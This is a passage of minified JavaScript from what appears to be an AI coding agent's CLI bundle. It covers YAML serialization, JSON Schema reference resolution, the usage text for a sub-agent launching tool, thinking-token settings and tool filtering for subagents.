`,z=Y&&(A[A.length-2]===` `||A===` `),w=z?"+":Y?"":"-";return q+w+` `}function yR7(A){return A[A.length-1]===` `?A.slice(0,-1):A}function onY(A,K){var q=/(\n+)([^\n]*)/g,Y=function(){var X=A.indexOf(` `);return X=X!==-1?X:A.length,q.lastIndex=X,IR7(A.slice(0,X),K)}(),z=A[0]===` `||A[0]===" ",w,H;while(H=q.exec(A)){var J=H[1],O=H[2];w=O[0]===" ",Y+=J+(!z&&!w&&O!==""?` `:"")+IR7(O,K),z=w}return Y}function IR7(A,K){if(A===""||A[0]===" ")return A;var q=/ [^ ]/g,Y,z=0,w,H=0,J=0,O="";while(Y=q.exec(A)){if(J=Y.index,J-z>K)w=H>z?H:J,O+=` `+A.slice(z,w),z=w+1;H=J}if(O+=` `,A.length-z>K&&H>z)O+=A.slice(z,H)+` `+A.slice(H+1);else O+=A.slice(z);return O.slice(1)}function anY(A){var K="",q=0,Y;for(var z=0;z<A.length;q>=65536?z+=2:z++)if(q=AgA(A,z),Y=wj[q],!Y&&YgA(q)){if(K+=A[z],q>=65536)K+=A[z+1]}else K+=Y||UnY(q);return K}function snY(A,K,q){var Y="",z=A.tag,w,H,J;for(w=0,H=q.length;w<H;w+=1){if(J=q[w],A.replacer)J=A.replacer.call(q,String(w),J);if(pp(A,K,J,!1,!1)||typeof J>"u"&&pp(A,K,null,!1,!1)){if(Y!=="")Y+=","+(!A.condenseFlow?" ":"");Y+=A.dump}}A.tag=z,A.dump="["+Y+"]"}function SR7(A,K,q,Y){var z="",w=A.tag,H,J,O;for(H=0,J=q.length;H<J;H+=1){if(O=q[H],A.replacer)O=A.replacer.call(q,String(H),O);if(pp(A,K+1,O,!0,!0,!1,!0)||typeof O>"u"&&pp(A,K+1,null,!0,!0,!1,!0)){if(!Y||z!=="")z+=iN6(A,K);if(A.dump&&KgA===A.dump.charCodeAt(0))z+="-";else z+="- ";z+=A.dump}}A.tag=w,A.dump=z||"[]"}function tnY(A,K,q){var Y="",z=A.tag,w=Object.keys(q),H,J,O,X,$;for(H=0,J=w.length;H<J;H+=1){if($="",Y!=="")$+=", ";if(A.condenseFlow)$+='"';if(O=w[H],X=q[O],A.replacer)X=A.replacer.call(q,O,X);if(!pp(A,K,O,!1,!1))continue;if(A.dump.length>1024)$+="? ";if($+=A.dump+(A.condenseFlow?'"':"")+":"+(A.condenseFlow?"":" "),!pp(A,K,X,!1,!1))continue;$+=A.dump,Y+=$}A.tag=z,A.dump="{"+Y+"}"}function enY(A,K,q,Y){var z="",w=A.tag,H=Object.keys(q),J,O,X,$,_,G;if(A.sortKeys===!0)H.sort();else if(typeof A.sortKeys==="function")H.sort(A.sortKeys);else if(A.sortKeys)throw new zgA("sortKeys must be a boolean or a function");for(J=0,O=H.length;J<O;J+=1){if(G="",!Y||z!=="")G+=iN6(A,K);if(X=H[J],$=q[X],A.replacer)$=A.replacer.call(q,X,$);if(!pp(A,K+1,X,!0,!0,!0))continue;if(_=A.tag!==null&&A.tag!=="?"||A.dump&&A.dump.length>1024,_)if(A.dump&&KgA===A.dump.charCodeAt(0))G+="?";else G+="? ";if(G+=A.dump,_)G+=iN6(A,K);if(!pp(A,K+1,$,!0,_))continue;if(A.dump&&KgA===A.dump.charCodeAt(0))G+=":";else G+=": ";G+=A.dump,z+=G}A.tag=w,A.dump=z||"{}"}function hR7(A,K,q){var Y,z,w,H,J,O;z=q?A.explicitTypes:A.implicitTypes;for(w=0,H=z.length;w<H;w+=1)if(J=z[w],(J.instanceOf||J.predicate)&&(!J.instanceOf||typeof K==="object"&&K instanceof J.instanceOf)&&(!J.predicate||J.predicate(K))){if(q)if(J.multi&&J.representName)A.tag=J.representName(K);else A.tag=J.tag;else A.tag="?";if(J.represent){if(O=A.styleMap[J.tag]||J.defaultStyle,bR7.call(J.represent)==="[object Function]")Y=J.represent(K,O);else if(xR7.call(J.represent,O))Y=J.represent[O](K,O);else throw new zgA("!<"+J.tag+'> tag resolver accepts not "'+O+'" style');A.dump=Y}return!0}return!1}function pp(A,K,q,Y,z,w,H){if(A.tag=null,A.dump=q,!hR7(A,q,!1))hR7(A,q,!0);var J=bR7.call(A.dump),O=Y,X;if(Y)Y=A.flowLevel<0||A.flowLevel>K;var $=J==="[object Object]"||J==="[object Array]",_,G;if($)_=A.duplicates.indexOf(q),G=_!==-1;if(A.tag!==null&&A.tag!=="?"||G||A.indent!==2&&K>0)z=!1;if(G&&A.usedDuplicates[_])A.dump="*ref_"+_;else{if($&&G&&!A.usedDuplicates[_])A.usedDuplicates[_]=!0;if(J==="[object Object]"){if(Y&&Object.keys(A.dump).length!==0){if(enY(A,K,A.dump,z),G)A.dump="&ref_"+_+A.dump}else if(tnY(A,K,A.dump),G)A.dump="&ref_"+_+" "+A.dump}else if(J==="[object Array]"){if(Y&&A.dump.length!==0){if(A.noArrayIndent&&!H&&K>0)SR7(A,K-1,A.dump,z);else SR7(A,K,A.dump,z);if(G)A.dump="&ref_"+_+A.dump}else if(snY(A,K,A.dump),G)A.dump="&ref_"+_+" "+A.dump}else if(J==="[object String]"){if(A.tag!=="?")rnY(A,A.dump,K,w,O)}else if(J==="[object Undefined]")return!1;else{if(A.skipInvalid)return!1;throw new zgA("unacceptable kind of an object to dump "+J)}if(A.tag!==null&&A.tag!=="?"){if(X=encodeURI(A.tag[0]==="!"?A.tag.slice(1):A.tag).replace(/!/g,"%21"),A.tag[0]==="!")X="!"+X;else if(X.slice(0,18)==="tag:yaml.org,2002:")X="!!"+X.slice(18);else X="!<"+X+">";A.dump=X+" "+A.dump}}return!0}function ArY(A,K){var q=[],Y=[],z,w;rN6(A,q,Y);for(z=0,w=Y.length;z<w;z+=1)K.duplicates.push(q[Y[z]]);K.usedDuplicates=Array(w)}function rN6(A,K,q){var Y,z,w;if(A!==null&&typeof A==="object")if(z=K.indexOf(A),z!==-1){if(q.indexOf(z)===-1)q.push(z)}else if(K.push(A),Array.isArray(A))for(z=0,w=A.length;z<w;z+=1)rN6(A[z],K,q);else{Y=Object.keys(A);for(z=0,w=Y.length;z<w;z+=1)rN6(A[Y[z]],K,q)}}function KrY(A,K){K=K||{};var q=new dnY(K);if(!q.noRefs)ArY(A,q);var Y=A;if(q.replacer)Y=q.replacer.call({"":Y},"",Y);if(pp(q,0,Y,!0,!0))return q.dump+` `;return""}qrY.dump=KrY});var sN6=v((wrY,YP)=>{var iR7=ER7(),zrY=lR7();function aN6(A,K){return function(){throw Error("Function yaml."+A+" is removed in js-yaml 4. Use yaml."+K+" instead, which is now safe by default.")}}wrY.Type=zj();wrY.Schema=kN6();wrY.FAILSAFE_SCHEMA=yN6();wrY.JSON_SCHEMA=IZ1();wrY.CORE_SCHEMA=IZ1();wrY.DEFAULT_SCHEMA=SZ1();wrY.load=iR7.load;wrY.loadAll=iR7.loadAll;wrY.dump=zrY.dump;wrY.YAMLException=JDA();wrY.types={binary:mN6(),float:bN6(),map:RN6(),null:IN6(),pairs:FN6(),set:QN6(),timestamp:xN6(),bool:SN6(),int:hN6(),merge:uN6(),omap:gN6(),seq:LN6(),str:CN6()};wrY.safeLoad=aN6("safeLoad","load");wrY.safeLoadAll=aN6("safeLoadAll","loadAll");wrY.safeDump=aN6("safeDump","dump")});var rR7=v((ZDH,nR7)=>{var{ParserError:frY}=wS(),NrY=sN6(),{JSON_SCHEMA:TrY}=sN6();nR7.exports={order:200,allowEmpty:!0,canParse:[".yaml",".yml",".json"],async parse(A){let K=A.data;if(Buffer.isBuffer(K))K=K.toString();if(typeof K==="string")try{return NrY.load(K,{schema:TrY})}catch(q){throw new frY(q.message,A.url)}else return K}}});var aR7=v((WDH,oR7)=>{var{ParserError:vrY}=wS(),ErY=/\.(txt|htm|html|md|xml|js|min|map|css|scss|less|svg)$/i;oR7.exports={order:300,allowEmpty:!0,encoding:"utf8",canParse(A){return(typeof A.data==="string"||Buffer.isBuffer(A.data))&&ErY.test(A.url)},parse(A){if(typeof A.data==="string")return A.data;else if(Buffer.isBuffer(A.data))return A.data.toString(this.encoding);else throw new vrY("data is not text",A.url)}}});var tR7=v((DDH,sR7)=>{var krY=/\.(jpeg|jpg|gif|png|bmp|ico)$/i;sR7.exports={order:400,allowEmpty:!0,canParse(A){return Buffer.isBuffer(A.data)&&krY.test(A.url)},parse(A){if(Buffer.isBuffer(A.data))return A.data;else return Buffer.from(A.data)}}});var Ky7=v((jDH,Ay7)=>{var CrY=CA("fs"),{ono:tN6}=hs(),eR7=wL(),{ResolverError:eN6}=wS();Ay7.exports={order:100,canRead(A){return eR7.isFileSystemPath(A.url)},read(A){return new Promise((K,q)=>{let Y;try{Y=eR7.toFileSystemPath(A.url)}catch(z){q(new eN6(tN6.uri(z,`Malformed URI: ${A.url}`),A.url))}try{CrY.readFile(Y,(z,w)=>{if(z)q(new eN6(tN6(z,`Error opening file "${Y}"`),Y));else K(w)})}catch(z){q(new eN6(tN6(z,`Error opening file "${Y}"`),Y))}})}}});var wy7=v((MDH,zy7)=>{var LrY=CA("http"),RrY=CA("https"),{ono:FZ1}=hs(),QZ1=wL(),{ResolverError:qy7}=wS();zy7.exports={order:200,headers:null,timeout:5000,redirects:5,withCredentials:!1,canRead(A){return QZ1.isHttp(A.url)},read(A){let K=QZ1.parse(A.url);return Yy7(K,this)}};function Yy7(A,K,q){return new Promise((Y,z)=>{A=QZ1.parse(A),q=q||[],q.push(A.href),yrY(A,K).then((w)=>{if(w.statusCode>=400)throw FZ1({status:w.statusCode},`HTTP ERROR ${w.statusCode}`);else if(w.statusCode>=300)if(q.length>K.redirects)z(new qy7(FZ1({status:w.statusCode},`Error downloading ${q[0]}. Too many redirects: ${q.join(` `)}`)));else if(!w.headers.location)throw FZ1({status:w.statusCode},`HTTP ${w.statusCode} redirect with no location header`);else{let H=QZ1.resolve(A,w.headers.location);Yy7(H,K,q).then(Y,z)}else Y(w.body||Buffer.alloc(0))}).catch((w)=>{z(new qy7(FZ1(w,`Error downloading ${A.href}`),A.href))})})}function yrY(A,K){return new Promise((q,Y)=>{let w=(A.protocol==="https:"?RrY:LrY).get({hostname:A.hostname,port:A.port,path:A.path,auth:A.auth,protocol:A.protocol,headers:K.headers||{},withCredentials:K.withCredentials});if(typeof w.setTimeout==="function")w.setTimeout(K.timeout);w.on("timeout",()=>{w.abort()}),w.on("error",Y),w.once("response",(H)=>{H.body=Buffer.alloc(0),H.on("data",(J)=>{H.body=Buffer.concat([H.body,Buffer.from(J)])}),H.on("error",Y),H.on("end",()=>{q(H)})})})}});var Oy7=v((PDH,Jy7)=>{var IrY=xL7(),SrY=rR7(),hrY=aR7(),brY=tR7(),xrY=Ky7(),urY=wy7();Jy7.exports=KT6;function KT6(A){AT6(this,KT6.defaults),AT6(this,A)}KT6.defaults={parse:{json:IrY,yaml:SrY,text:hrY,binary:brY},resolve:{file:xrY,http:urY,external:!0},continueOnError:!1,dereference:{circular:!0,excludedPathMatcher:()=>!1}};function AT6(A,K){if(Hy7(K)){let q=Object.keys(K);for(let Y=0;Y<q.length;Y++){let z=q[Y],w=K[z],H=A[z];if(Hy7(w))A[z]=AT6(H||{},w);else if(w!==void 0)A[z]=w}}return A}function Hy7(A){return A&&typeof A==="object"&&!Array.isArray(A)&&!(A instanceof RegExp)&&!(A instanceof Date)}});var _y7=v((VDH,$y7)=>{var Xy7=Oy7();$y7.exports=BrY;function BrY(A){let K,q,Y,z;if(A=Array.prototype.slice.call(A),typeof A[A.length-1]==="function")z=A.pop();if(typeof A[0]==="string")if(K=A[0],typeof A[2]==="object")q=A[1],Y=A[2];else q=void 0,Y=A[1];else K="",q=A[0],Y=A[1];if(!(Y instanceof Xy7))Y=new Xy7(Y);return{path:K,schema:q,options:Y,callback:z}}});var Dy7=v((fDH,Wy7)=>{var Gy7=wDA(),mrY=amA(),grY=fN6(),wgA=wL(),{isHandledError:FrY}=wS();Wy7.exports=QrY;function QrY(A,K){if(!K.resolve.external)return Promise.resolve();try{let q=qT6(A.schema,A.$refs._root$Ref.path+"#",A.$refs,K);return Promise.all(q)}catch(q){return Promise.reject(q)}}function qT6(A,K,q,Y,z){z=z||new Set;let w=[];if(A&&typeof A==="object"&&!ArrayBuffer.isView(A)&&!z.has(A))if(z.add(A),Gy7.isExternal$Ref(A))w.push(Zy7(A,K,q,Y));else for(let H of Object.keys(A)){let J=mrY.join(K,H),O=A[H];if(Gy7.isExternal$Ref(O))w.push(Zy7(O,J,q,Y));else w=w.concat(qT6(O,J,q,Y,z))}return w}async function Zy7(A,K,q,Y){let z=wgA.resolve(K,A.$ref),w=wgA.stripHash(z);if(A=q._$refs[w],A)return Promise.resolve(A.value);try{let H=await grY(z,q,Y),J=qT6(H,w+"#",q,Y);return Promise.all(J)}catch(H){if(!Y.continueOnError||!FrY(H))throw H;if(q._$refs[w])H.source=decodeURI(wgA.stripHash(K)),H.path=wgA.safePointerToPath(wgA.getHash(K));return[]}}});var Py7=v((NDH,My7)=>{var UZ1=wDA(),HgA=amA(),YT6=wL();My7.exports=UrY;function UrY(A,K){let q=[];zT6(A,"schema",A.$refs._root$Ref.path+"#","#",0,q,A.$refs,K),prY(q)}function zT6(A,K,q,Y,z,w,H,J){let O=K===null?A:A[K];if(O&&typeof O==="object"&&!ArrayBuffer.isView(O))if(UZ1.isAllowed$Ref(O))jy7(A,K,q,Y,z,w,H,J);else{let X=Object.keys(O).sort(($,_)=>{if($==="definitions")return-1;else if(_==="definitions")return 1;else return $.length-_.length});for(let $ of X){let _=HgA.join(q,$),G=HgA.join(Y,$),Z=O[$];if(UZ1.isAllowed$Ref(Z))jy7(O,$,q,G,z,w,H,J);else zT6(O,$,_,G,z,w,H,J)}}}function jy7(A,K,q,Y,z,w,H,J){let O=K===null?A:A[K],X=YT6.resolve(q,O.$ref),$=H._resolve(X,Y,J);if($===null)return;let _=HgA.parse(Y).length,G=YT6.stripHash($.path),Z=YT6.getHash($.path),W=G!==H._root$Ref.path,D=UZ1.isExtended$Ref(O);z+=$.indirections;let j=drY(w,A,K);if(j)if(_<j.depth||z<j.indirections)crY(w,j);else return;if(w.push({$ref:O,parent:A,key:K,pathFromRoot:Y,depth:_,file:G,hash:Z,value:$.value,circular:$.circular,extended:D,external:W,indirections:z}),!j)zT6($.value,null,$.path,Y,z+1,w,H,J)}function prY(A){A.sort((z,w)=>{if(z.file!==w.file)return z.file<w.file?-1:1;else if(z.hash!==w.hash)return z.hash<w.hash?-1:1;else if(z.circular!==w.circular)return z.circular?-1:1;else if(z.extended!==w.extended)return z.extended?1:-1;else if(z.indirections!==w.indirections)return z.indirections-w.indirections;else if(z.depth!==w.depth)return z.depth-w.depth;else{let H=z.pathFromRoot.lastIndexOf("/definitions"),J=w.pathFromRoot.lastIndexOf("/definitions");if(H!==J)return J-H;else return z.pathFromRoot.length-w.pathFromRoot.length}});let K,q,Y;for(let z of A)if(!z.external)z.$ref.$ref=z.hash;else if(z.file===K&&z.hash===q)z.$ref.$ref=Y;else if(z.file===K&&z.hash.indexOf(q+"/")===0)z.$ref.$ref=HgA.join(Y,HgA.parse(z.hash.replace(q,"#")));else if(K=z.file,q=z.hash,Y=z.pathFromRoot,z.$ref=z.parent[z.key]=UZ1.dereference(z.$ref,z.value),z.circular)z.$ref.$ref=z.pathFromRoot}function drY(A,K,q){for(let Y=0;Y<A.length;Y++){let z=A[Y];if(z.parent===K&&z.key===q)return z}}function crY(A,K){let q=A.indexOf(K);A.splice(q,1)}});var vy7=v((TDH,Ty7)=>{var wT6=wDA(),Vy7=amA(),{ono:lrY}=hs(),irY=wL();Ty7.exports=nrY;function nrY(A,K){let q=HT6(A.schema,A.$refs._root$Ref.path,"#",new Set,new Set,new Map,A.$refs,K);A.$refs.circular=q.circular,A.schema=q.value}function HT6(A,K,q,Y,z,w,H,J){let O,X={value:A,circular:!1},$=J.dereference.excludedPathMatcher;if(J.dereference.circular==="ignore"||!z.has(A)){if(A&&typeof A==="object"&&!ArrayBuffer.isView(A)&&!$(q)){if(Y.add(A),z.add(A),wT6.isAllowed$Ref(A,J))O=fy7(A,K,q,Y,z,w,H,J),X.circular=O.circular,X.value=O.value;else for(let _ of Object.keys(A)){let G=Vy7.join(K,_),Z=Vy7.join(q,_);if($(Z))continue;let W=A[_],D=!1;if(wT6.isAllowed$Ref(W,J)){if(O=fy7(W,G,Z,Y,z,w,H,J),D=O.circular,A[_]!==O.value)A[_]=O.value}else if(!Y.has(W)){if(O=HT6(W,G,Z,Y,z,w,H,J),D=O.circular,A[_]!==O.value)A[_]=O.value}else D=Ny7(G,H,J);X.circular=X.circular||D}Y.delete(A)}}return X}function fy7(A,K,q,Y,z,w,H,J){let O=irY.resolve(K,A.$ref),X=w.get(O);if(X){let D=Object.keys(A);if(D.length>1){let j={};for(let M of D)if(M!=="$ref"&&!(M in X.value))j[M]=A[M];return{circular:X.circular,value:Object.assign({},X.value,j)}}return X}let $=H._resolve(O,K,J);if($===null)return{circular:!1,value:null};let _=$.circular,G=_||Y.has($.value);G&&Ny7(K,H,J);let Z=wT6.dereference(A,$.value);if(!G){let D=HT6(Z,$.path,q,Y,z,w,H,J);G=D.circular,Z=D.value}if(G&&!_&&J.dereference.circular==="ignore")Z=A;if(_)Z.$ref=q;let W={circular:G,value:Z};if(Object.keys(A).length===1)w.set(O,W);return W}function Ny7(A,K,q){if(K.circular=!0,!q.dereference.circular)throw lrY.reference(`Circular $ref pointer found at ${A}`);return!0}});var ky7=v((vDH,Ey7)=>{function rrY(){if(typeof process==="object"&&typeof process.nextTick==="function")return process.nextTick;else if(typeof setImmediate==="function")return setImmediate;else return function(K){setTimeout(K,0)}}Ey7.exports=rrY()});var Ry7=v((EDH,Ly7)=>{var Cy7=ky7();Ly7.exports=function(K,q){if(K){q.then(function(Y){Cy7(function(){K(null,Y)})},function(Y){Cy7(function(){K(Y)})});return}else return q}});var hy7=v((kDH,fB)=>{var Sy7=CL7(),orY=fN6(),pZ1=_y7(),arY=Dy7(),srY=Py7(),trY=vy7(),GDA=wL(),{JSONParserError:erY,InvalidPointerError:AoY,MissingPointerError:KoY,ResolverError:qoY,ParserError:YoY,UnmatchedParserError:zoY,UnmatchedResolverError:woY,isHandledError:HoY,JSONParserErrorGroup:yy7}=wS(),JS=Ry7(),{ono:Iy7}=hs();fB.exports=VB;fB.exports.default=VB;fB.exports.JSONParserError=erY;fB.exports.InvalidPointerError=AoY;fB.exports.MissingPointerError=KoY;fB.exports.ResolverError=qoY;fB.exports.ParserError=YoY;fB.exports.UnmatchedParserError=zoY;fB.exports.UnmatchedResolverError=woY;function VB(){this.schema=null,this.$refs=new Sy7}VB.parse=function(K,q,Y,z){let H=new this;return H.parse.apply(H,arguments)};VB.prototype.parse=async function(K,q,Y,z){let w=pZ1(arguments),H;if(!w.path&&!w.schema){let X=Iy7(`Expected a file path, URL, or object. Got ${w.path||w.schema}`);return JS(w.callback,Promise.reject(X))}this.schema=null,this.$refs=new Sy7;let J="http";if(GDA.isFileSystemPath(w.path))w.path=GDA.fromFileSystemPath(w.path),J="file";if(w.path=GDA.resolve(GDA.cwd(),w.path),w.schema&&typeof w.schema==="object"){let X=this.$refs._add(w.path);X.value=w.schema,X.pathType=J,H=Promise.resolve(w.schema)}else H=orY(w.path,this.$refs,w.options);let O=this;try{let X=await H;if(X!==null&&typeof X==="object"&&!Buffer.isBuffer(X))return O.schema=X,JS(w.callback,Promise.resolve(O.schema));else if(w.options.continueOnError)return O.schema=null,JS(w.callback,Promise.resolve(O.schema));else throw Iy7.syntax(`"${O.$refs._root$Ref.path||X}" is not a valid JSON Schema`)}catch(X){if(!w.options.continueOnError||!HoY(X))return JS(w.callback,Promise.reject(X));if(this.$refs._$refs[GDA.stripHash(w.path)])this.$refs._$refs[GDA.stripHash(w.path)].addError(X);return JS(w.callback,Promise.resolve(null))}};VB.resolve=function(K,q,Y,z){let H=new this;return H.resolve.apply(H,arguments)};VB.prototype.resolve=async function(K,q,Y,z){let w=this,H=pZ1(arguments);try{return await this.parse(H.path,H.schema,H.options),await arY(w,H.options),JT6(w),JS(H.callback,Promise.resolve(w.$refs))}catch(J){return JS(H.callback,Promise.reject(J))}};VB.bundle=function(K,q,Y,z){let H=new this;return H.bundle.apply(H,arguments)};VB.prototype.bundle=async function(K,q,Y,z){let w=this,H=pZ1(arguments);try{return await this.resolve(H.path,H.schema,H.options),srY(w,H.options),JT6(w),JS(H.callback,Promise.resolve(w.schema))}catch(J){return JS(H.callback,Promise.reject(J))}};VB.dereference=function(K,q,Y,z){let H=new this;return H.dereference.apply(H,arguments)};VB.prototype.dereference=async function(K,q,Y,z){let w=this,H=pZ1(arguments);try{return await this.resolve(H.path,H.schema,H.options),trY(w,H.options),JT6(w),JS(H.callback,Promise.resolve(w.schema))}catch(J){return JS(H.callback,Promise.reject(J))}};function JT6(A){if(yy7.getParserErrors(A).length>0)throw new yy7(A)}});function JoY(A){let{tools:K,disallowedTools:q}=A,Y=K&&K.length>0,z=q&&q.length>0;if(Y&&z){let w=new Set(q),H=K.filter((J)=>!w.has(J));if(H.length===0)return"None";return H.join(", ")}else if(Y)return K.join(", ");else if(z)return`All tools except ${q.join(", ")}`;return"All tools"}async function by7(A){let K=A.map((q)=>{let Y="";if(q?.forkContext)Y="Properties: "+(q?.forkContext?"access to current context; ":"");let z=JoY(q);return`- ${q.agentType}: ${q.whenToUse} (${Y}Tools: ${z})`}).join(` `);return`Launch a new agent to handle complex, multi-step tasks autonomously. The ${Nq} tool launches specialized agents (subprocesses) that autonomously handle complex tasks. Each agent type has specific capabilities and tools available to it. Available agent types and the tools they have access to: ${K} When using the ${Nq} tool, you must specify a subagent_type parameter to select which agent type to use. When NOT to use the ${Nq} tool: - If you want to read a specific file path, use the ${eq} or ${hH} tool instead of the ${Nq} tool, to find the match more quickly - If you are searching for a specific class definition like "class Foo", use the ${hH} tool instead, to find the match more quickly - If you are searching for code within a specific file or set of 2-3 files, use the ${eq} tool instead of the ${Nq} tool, to find the match more quickly - Other tasks that are not related to the agent descriptions above Usage notes: - Always include a short description (3-5 words) summarizing what the agent will do${Uq()!=="pro"?` - Launch multiple agents concurrently whenever possible, to maximize performance; to do that, use a single message with multiple tool uses`:""} - When the agent is done, it will return a single message back to you. The result returned by the agent is not visible to the user. To show the user the result, you should send a text message back to the user with a concise summary of the result.${!P1(process.env.CLAUDE_CODE_DISABLE_BACKGROUND_TASKS)&&!hZ()?` - You can optionally run agents in the background using the run_in_background parameter. When an agent runs in the background, the tool result will include an output_file path. To check on the agent's progress or retrieve its results, use the ${eq} tool to read the output file, or use ${G7} with \`tail\` to see recent output. You can continue working while background agents run.`:""} - Agents can be resumed using the \`resume\` parameter by passing the agent ID from a previous invocation. When resumed, the agent continues with its full previous context preserved. When NOT resuming, each invocation starts fresh and you should provide a detailed task description with all necessary context. - When the agent is done, it will return a single message back to you along with its agent ID. You can use this ID to resume the agent later if needed for follow-up work. - Provide clear, detailed prompts so the agent can work autonomously and return exactly the information you need. - Agents with "access to current context" can see the full conversation history before the tool call. When using these agents, you can write concise prompts that reference earlier context (e.g., "investigate the error discussed above") instead of repeating information. The agent will receive all prior messages and understand the context. - The agent's outputs should generally be trusted - Clearly tell the agent whether you expect it to write code or just to do research (search, file reads, web fetches, etc.), since it is not aware of the user's intent - If the agent description mentions that it should be used proactively, then you should try your best to use it without the user having to ask for it first. Use your judgement. - If the user specifies that they want you to run agents "in parallel", you MUST send a single message with multiple ${ZDA.name} tool use content blocks. For example, if you need to launch both a build-validator agent and a test-runner agent in parallel, send a single message with both tool calls.${hZ()?` - The run_in_background, name, team_name, and mode parameters are not available in this context. Only synchronous subagents are supported.`:""} Example usage: <example_agent_descriptions> "test-runner": use this agent after you are done writing code to run tests "greeting-responder": use this agent when to respond to user greetings with a friendly joke </example_agent_description> <example> user: "Please write a function that checks if a number is prime" assistant: Sure let me write a function that checks if a number is prime assistant: First let me use the ${Qz} tool to write a function that checks if a number is prime assistant: I'm going to use the ${Qz} tool to write the following code: <code> function isPrime(n) { if (n <= 1) return false for (let i = 2; i * i <= n; i++) { if (n % i === 0) return false } return true } </code> <commentary> Since a significant piece of code was written and the task was completed, now use the test-runner agent to run the tests </commentary> assistant: Now let me use the test-runner agent to run the tests assistant: Uses the ${ZDA.name} tool to launch the test-runner agent </example> <example> user: "Hello" <commentary> Since the user is greeting, use the greeting-responder agent to respond with a friendly joke </commentary> assistant: "I'm going to use the ${ZDA.name} tool to launch the greeting-responder agent" </example> `}var xy7=k(()=>{dZ1();cO();jV();x4();l6();NT()});import{randomBytes as OoY}from"crypto";function zv(A){if(typeof A!=="string")return null;return XoY.test(A)?A:null}function HL(A){let K=OoY(3).toString("hex");return A?`a${A}-${K}`:`a${K}`}var XoY;var OS=k(()=>{XoY=/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i});function dp(A,K){if(process.env.MAX_THINKING_TOKENS){let z=parseInt(process.env.MAX_THINKING_TOKENS,10);if(z>0)n("tengu_thinking",{provider:Bb(),tokenCount:z});return z}let Y=A.filter((z)=>z.type==="user"&&!z.isMeta).map($oY).filter((z)=>z!==void 0);if(K!==void 0)return Math.max(...Y,K);if(Y.length>0)return Math.max(...Y);return}function $oY(A){if(A.isMeta)return 0;if(A.thinkingMetadata){let{maxThinkingTokens:K}=A.thinkingMetadata;if(K!==void 0&&K>0)n("tengu_thinking",{provider:Bb(),tokenCount:K});return K}return 0}function uy7(A){let K=[],q=A.matchAll(_oY);for(let Y of q)if(Y.index!==void 0)K.push({word:Y[0],start:Y.index,end:Y.index+Y[0].length});return K}function GoY(A){let K=A.toLowerCase(),q=c7();if(q==="foundry"||q==="firstParty")return!K.includes("claude-3-");return K.includes("sonnet-4")||K.includes("opus-4")}function cZ1(){if(process.env.MAX_THINKING_TOKENS)return parseInt(process.env.MAX_THINKING_TOKENS,10)>0;let{settings:A}=wv();if(A.alwaysThinkingEnabled===!1)return!1;return GoY(J3())}var _oY;var cp=k(()=>{l1();IH();I8();K7();_oY=/\bultrathink\b/gi});var lZ1="EnterPlanMode";var bJ="AskUserQuestion",By7=12,my7="Asks the user multiple choice questions to gather information, clarify ambiguity, understand preferences, make decisions or offer them choices.",gy7=`Use this tool when you need to ask the user questions during execution. This allows you to: 1. Gather user preferences or requirements 2. Clarify ambiguous instructions 3. Get decisions on implementation choices as you work 4. Offer choices to the user about what direction to take. Usage notes: - Users will always be able to select "Other" to provide custom text input - Use multiSelect: true to allow multiple answers to be selected for a question - If you recommend a specific option, make that the first option in the list and add "(Recommended)" at the end of the label Plan mode note: In plan mode, use this tool to clarify requirements or choose between approaches BEFORE finalizing your plan. Do NOT use this tool to ask "Is my plan ready?" or "Should I proceed?" - use ExitPlanMode for plan approval. `;var JgA="TaskStop",Fy7=` - Stops a running background task by its ID - Takes a task_id parameter identifying the task to stop - Returns a success or failure status - Use this tool when you need to terminate a long-running task `;var FG="Skill";function DDA(){return`claude-swarm-${process.pid}`}var OgA="Teammate",P2="team-lead",Sf="claude-swarm",WDA="swarm-view",Hj="tmux",OT6="claude-hidden",jDA="CLAUDE_CODE_TEAMMATE_COMMAND";var XgA="SendMessage";var iZ1="TaskGet";var nZ1="TaskList";var MDA,XT6,$T6,rZ1,oZ1;var aZ1=k(()=>{cO();d6A();rE();jV();ao();kp();MDA=new Set([YDA,Yf,lZ1,Nq,bJ,JgA]),XT6=new Set([...MDA]),$T6=new Set([eq,oE,EQ,Fz,wO,hH,G7,m5,Qz,ZD,FG,bG,sZ,OgA,...[],XgA]),rZ1=new Set([OgA,XgA,Aa,iZ1,nZ1,tU,Nq]),oZ1=new Set([Nq,JgA])});import{randomUUID as ZoY}from"crypto";function _T6({tools:A,isBuiltIn:K,isAsync:q=!1,permissionMode:Y}){return A.filter((z)=>{if(z.name.startsWith("mcp__"))return!0;if(z.name===Yf&&Y==="plan")return!0;if(MDA.has(z.name))return!1;if(!K&&XT6.has(z.name))return!1;if(q&&!$T6.has(z.name)){if(b8()&&z.name===Nq&&hZ())return!0;return!1}return!0})}function Us(A,K,q=!1){let{tools:Y,disallowedTools:z,source:w,permissionMode:H}=A,J=_T6({tools:K,isBuiltIn:w==="built-in",isAsync:q,permissionMode:H}),O=new Set(z?.map((j)=>{let{toolName:M}=GV(j);return M})??[]),X=J.filter((j)=>!O.has(j.name));if(Y===void 0||Y.length===1&&Y[0]==="*")return{hasWildcard:!0,validTools:[],invalidTools:[],resolvedTools:X};let _=new Map;for(let j of X)_.set(j.name,j);let G=[],Z=[],W=[],D=new Set;for(let j of Y){let{toolName:M}=GV(j);if(M===Nq){G.push(j);continue}let P=_.get(M);if(P){if(G.push(j),!D.has(P))W.push(P),D.add(P)}else Z.push(j)}return{hasWildcard:!1,validTools:G,invalidTools:Z,resolvedTools:W}}function Uy7(A,K){let q=t1({content:A}),Y=K.message.content.find((O)=>{if(O.type!=="tool_use"||O.name!==Nq)return!1;let X=O.input;return"prompt"in X&&X.prompt===A});if(!Y)return h(`Could not find matching AgentTool tool use for prompt: ${A.slice(0,50)}...`,{level:"error"}),[q];let z={...K,uuid:ZoY(),message:{...K.message,content:[Y]}},w=`### FORKING CONVERSATION CONTEXT ### ### ENTERING SUB-AGENT ROUTINE ### Entered sub-agent context PLEASE NOTE: - The messages above this point are from the main thread prior to sub-agent execution. They are provided as context only. - Context messages may include tool_use blocks for tools that are not available in the sub-agent context. You should only use the tools specifically provided to you in the system prompt. - Only complete the specific sub-agent task you have been assigned below.`,H={status:"sub_agent_entered",description:"Entered sub-agent context",message:w},J=t1({content:[{type:"tool_result",tool_use_id:Y.id,content:[{type:"text",text:w}]}],toolUseResult:H});return[z,J,q]}var Qy7;var 